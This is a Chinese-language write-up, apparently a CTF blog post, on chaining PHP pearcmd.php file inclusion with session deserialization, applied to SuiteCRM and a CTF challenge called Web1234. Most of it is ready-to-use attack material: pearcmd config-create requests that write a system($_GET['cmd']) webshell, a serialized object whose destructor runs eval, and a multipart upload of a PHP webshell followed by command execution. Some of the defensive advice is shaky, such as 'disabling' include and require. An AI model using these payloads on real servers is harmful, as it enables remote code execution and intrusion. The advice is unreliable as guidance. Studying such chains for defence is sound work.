记一次pearcmd文件包含+session序列化
字数 1483 2025-08-19 12:42:07
Pearcmd文件包含与Session序列化漏洞利用分析
1. Pearcmd文件包含漏洞
1.1 漏洞原理
Pearcmd.php是PEAR包管理器的一部分,在某些PHP环境中默认存在。该文件提供了一个命令行接口,但由于设计不当,可能导致文件包含漏洞。
1.2 漏洞利用条件
- 目标服务器安装了PEAR包管理器
- 可以访问pearcmd.php文件(通常位于/usr/local/lib/php/pearcmd.php)
- PHP配置允许包含外部文件
1.3 利用方法
通过构造特定的GET或POST参数,利用pearcmd.php的配置功能实现文件包含:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
这个请求会:
- 调用pearcmd.php的config-create功能
- 将PHP代码写入/tmp/hello.php文件
- 之后可以通过包含/tmp/hello.php来执行任意代码
1.4 实际利用示例
http://target.com/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd']);?>+/var/www/html/shell.php
2. Session序列化漏洞
2.1 漏洞原理
PHP的session序列化机制存在缺陷,当攻击者能够控制session数据时,可以通过精心构造的session数据实现对象注入或反序列化漏洞。
2.2 利用条件
- 能够控制session数据(如通过PHPSESSID或session文件写入)
- 目标应用使用了存在漏洞的类或函数
2.3 利用方法
- 首先识别目标应用中可用的类
- 构造恶意序列化数据
- 通过session机制注入恶意数据
2.4 实际利用示例
假设目标应用使用了存在漏洞的类ExampleClass:
class ExampleClass {
public $data;
function __destruct() {
eval($this->data);
}
}
构造恶意session数据:
<?php
class ExampleClass {
public $data = "system('whoami');";
}
$obj = new ExampleClass();
echo serialize($obj);
?>
将生成的序列化字符串注入到session中。
3. SuiteCRM漏洞利用实例
3.1 漏洞背景
SuiteCRM存在文件上传和反序列化漏洞组合利用的可能性。
3.2 利用步骤
- 通过文件上传功能上传恶意文件
- 利用pearcmd.php包含上传的文件
- 通过session机制注入反序列化payload
- 触发反序列化执行任意代码
3.3 详细利用过程
- 上传webshell:
POST /index.php?module=Notes&action=EditView HTTP/1.1
...
------WebKitFormBoundary...
Content-Disposition: form-data; name="uploadfile"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
- 利用pearcmd.php包含上传的文件:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=include('/path/to/uploaded/shell.php')?>+/tmp/shell.php
- 访问包含的文件执行命令:
GET /tmp/shell.php?cmd=id
4. Web1234题目分析
4.1 题目特点
- 零解题,说明防护措施较强或利用路径复杂
- 可能涉及多层绕过和组合利用
4.2 可能的解题思路
- 信息收集:识别所有可用的组件和版本
- 寻找非常规的文件包含点
- 尝试利用PHP的包装器(php://filter等)
- 组合利用session处理和文件操作功能
4.3 详细利用链
- 通过LFI读取配置文件获取数据库凭证
- 利用数据库操作写入webshell
- 通过session固定攻击获取管理员权限
- 利用后台功能实现RCE
5. 防护措施
5.1 针对pearcmd文件包含
- 删除或限制访问pearcmd.php
- 配置open_basedir限制文件访问范围
- 禁用不必要的PHP函数(如include、require等)
5.2 针对session序列化
- 使用自定义session处理器
- 对session数据进行验证和过滤
- 避免在魔术方法中执行危险操作
- 使用php.ini中的session.serialize_handler = 'php_serialize'
5.3 通用防护
- 保持系统和应用更新
- 实施最小权限原则
- 部署WAF规则拦截可疑请求
- 定期进行安全审计和渗透测试
6. 总结
pearcmd文件包含和session序列化漏洞的组合利用可以形成强大的攻击链,特别是在像SuiteCRM这样的复杂应用中。防御这类攻击需要多层次的安全措施,包括代码审计、配置加固和运行时保护。